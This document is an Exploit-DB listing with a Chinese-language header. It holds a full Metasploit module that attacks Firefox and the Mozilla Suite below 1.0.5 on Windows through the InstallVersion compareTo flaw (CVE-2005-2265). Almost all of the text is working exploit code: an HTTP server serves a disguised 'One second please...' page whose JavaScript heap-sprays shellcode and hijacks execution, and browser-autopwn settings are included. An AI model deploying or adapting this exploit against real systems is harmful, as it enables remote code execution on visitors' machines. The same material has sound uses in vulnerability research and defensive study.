标题: Mozilla Suite/Firefox < 1.0.5 - compareTo Code Execution (Metasploit) EDB-ID: 9947 CVE: 2005-2265 类型: REMOTE 平台: WINDOWS 发布日期: 2005-07-13 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 #
 # This module acts as an HTTP server
 #
 include Msf::Exploit::Remote::HttpServer::HTML

 include Msf::Exploit::Remote::BrowserAutopwn
 autopwn_info({
  :ua_name => HttpClients::FF,
  :ua_ver => "1.0",
  :os_name => OperatingSystems::WINDOWS,
  :javascript => true,
  :rank => NormalRanking, # reliable memory corruption
  :vuln_test => "if (typeof InstallVersion != 'undefined') { is_vuln = true; }",
 })

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Mozilla Suite/Firefox InstallVersion->compareTo() Code Execution',
   'Description'    => %q{
    This module exploits a code execution vulnerability in the Mozilla
   Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit 
   module is a direct port of Aviv Raff's HTML PoC.

   },
   'License'        => MSF_LICENSE,
   'Author'         =>  ['hdm', 'Aviv Raff <avivra [at] gmail.com>'],
   'Version'        => '$Revision$',
   'References'     => 
    [
     ['CVE',    '2005-2265'],
     ['OSVDB',  '17968'],
       ['BID',    '14242'],
     ['URL',    'http://www.mozilla.org/security/announce/mfsa2005-50.html'],
    ],
   'Payload'        =>
    {
     'Space'    => 400,
     'BadChars' => "\x00",
    },
   'Targets'        =>
    [
     [ 'Firefox < 1.0.5 Windows', 
      {
       'Platform' => 'win',
       'Arch' => ARCH_X86,
       'StackAdjustment' => -3500,
       'Addrs' => [ 0x12000000, 0x11C0002C, 0x1200002C, 0x1180002C ],
       
      }
     ],
    ],
   'DisclosureDate' => 'Jul 13 2005'
   ))
 end

 def on_request_uri(cli, request)
 
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
  send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
  
  # Handle the payload
  handler(cli)
 end
 
 def generate_html(payload)

  enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
  enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))
  
  spray_to = sprintf("0x%.8x", target['Addrs'][0])
  spray_slide1 = Rex::Text.to_unescape( [target['Addrs'][1]].pack('V'), Rex::Arch.endian(target.arch) )
  spray_slide2 = Rex::Text.to_unescape( [target['Addrs'][2]].pack('V'), Rex::Arch.endian(target.arch) )
  eax_address = sprintf("0x%.8x", target['Addrs'][3])

  return %Q|
<html>
<head>
<!-- 
     Copyright (C) 2005-2006 Aviv Raff (with minor modifications by HDM for the MSF module)
     From: http://aviv.raffon.net/2005/12/11/MozillaUnderestimateVulnerabilityYetAgainPlusOldVulnerabilityNewExploit.aspx
     Greets: SkyLined, The Insider and shutdown 
-->
 <title>One second please...</title>
 <script language="javascript">

  function BodyOnLoad() 
  {
   location.href="javascript:void (new InstallVersion());";
   CrashAndBurn();
  };

  // The "Heap Spraying" is based on SkyLined InternetExploiter2 methodology
  function CrashAndBurn() 
  {
   // Spray up to this address
   var heapSprayToAddress=#{spray_to};

   // Payload - Just return..
   var payLoadCode=unescape("#{enc_code}");

   // Size of the heap blocks  
   var heapBlockSize=0x400000;
   
   // Size of the payload in bytes
   var payLoadSize=payLoadCode.length * 2; 
   
   // Caluclate spray slides size
   var spraySlideSize=heapBlockSize-(payLoadSize+0x38); // exclude header

   // Set first spray slide ("pdata") with "pvtbl" fake address - 0x11C0002C
   var spraySlide1 = unescape("#{spray_slide1}"); 

   spraySlide1 = getSpraySlide(spraySlide1,spraySlideSize); 

   var spraySlide2 = unescape("#{spray_slide2}"); //0x1200002C 

   spraySlide2 = getSpraySlide(spraySlide2,spraySlideSize);

   var spraySlide3 = unescape("#{enc_nops}");
   spraySlide3 = getSpraySlide(spraySlide3,spraySlideSize);

   // Spray the heap
   heapBlocks=(heapSprayToAddress-0x400000)/heapBlockSize;
   //alert(spraySlide2.length); return;
   memory = new Array();
   for (i=0;i<heapBlocks;i++) 
   {
    memory[i]=(i\%3==0) ? spraySlide1 + payLoadCode: 
      (i\%3==1) ? spraySlide2 + payLoadCode: spraySlide3 + payLoadCode;
   }

   // Set address to fake "pdata".
   var eaxAddress = #{eax_address};
   
   // This was taken from shutdown's PoC in bugzilla
   // struct vtbl { void (*code)(void); };
   // struct data { struct vtbl *pvtbl; };
   //
   // struct data *pdata = (struct data *)(xxAddress & ~0x01);
   // pdata->pvtbl->code(pdata);
   //
   (new InstallVersion).compareTo(new Number(eaxAddress >> 1));
  }

  function getSpraySlide(spraySlide, spraySlideSize) {
   while (spraySlide.length*2<spraySlideSize) 
   {
    spraySlide+=spraySlide;
   } 
   spraySlide=spraySlide.substring(0,spraySlideSize/2);
   return spraySlide;
  }

// -->
 </script>
</head>
<body onload="BodyOnLoad()">
</body>
</html>
  |
 end

end URL: https://www.exploit-db.com/exploits/9947